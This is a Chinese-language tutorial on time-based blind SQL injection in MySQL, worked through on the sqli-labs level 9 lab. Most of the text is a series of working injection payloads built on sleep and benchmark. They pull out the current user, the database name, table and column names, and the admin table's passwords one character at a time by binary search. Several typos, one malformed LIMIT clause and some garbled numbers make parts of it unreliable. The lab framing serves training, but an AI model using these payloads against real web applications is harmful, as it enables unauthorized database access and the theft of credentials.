时间盲注(延迟):
没有任何回显点 在页面中输入任何内容都会返回同一个页面内容的 就可以尝试使用延迟盲注。
时间盲注常用的函数:
if函数: if(Condition,A,B)
含义: 如果Condition 成立,执行A,则B
substr函数:
含义:截取字符串。subster(string, start, length)
从string的start位开始截取len个字符
ascii函数: ascii(char)
含义: 将char转化成ascii码值
延迟注入:
当mysql版本>-5.0时 使用sleep()进行查询
当mysql版本<5.0时 使用benchmark()进行查询
benchmark()压力测试
通过查询次数增多, 时间变得缓慢来判断是否存在延迟。
语句: select benchamark(1000,selcet * from admin);
sleep()
来判断是否存在延迟注入
语句为: id=1' and sleep(5)
演练: sqil-labs 9关
首先使用语句检测是否存在延时注入 这里延迟了十秒。
通过开发者工具的网络来查看 网页响应时间,因此断定存在延迟注入
判断当前用户
and if(ascii(substr(user(),1,1))=114,sleep(5),1) --+
(substr(suer(),1,1) : 截取当前数据库的第一个字符
ascii : 把截取到的字符串转换成ascii码(百度搜索ascii码表一堆)
网页延迟了7秒,说明当前的 ascii 114 对应的值是 r
继续使用二分法测试
and if(ascii(substr(user(),2,1))<114,sleep(5),1) --+
and if(ascii(substr(user(),2,1))>0,sleep(5),1) --+
1140
取一中间数57判断是大于57 还是小于57
and if(ascii(substr(user(),2,1))>57,sleep(5),1) --+
这里延时7秒 所以114< 且 >57 取中间数 85
and if(ascii(substr(user(),2,1))>85,sleep(5),1) --+
延迟7秒 所以11485 取中间数100
and if(ascii(substr(user(),2,1))>100,sleep(5),1) --+
114100 取数110
and if(ascii(substr(user(),2,1))=110,sleep(5),1) --+
返回7秒 发现ascii110 即是 用户名的第二位数 n第三位 则更改数字 按上述步骤进行查询即可。
判断当前数据库长度
and if(length(database())=8,sleep(5),1)--+
猜解数据库名称
and if(ascii(substr(database(),1,1))>55,sleep(5),1) --+
猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1);--+
猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
猜解数据
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)--+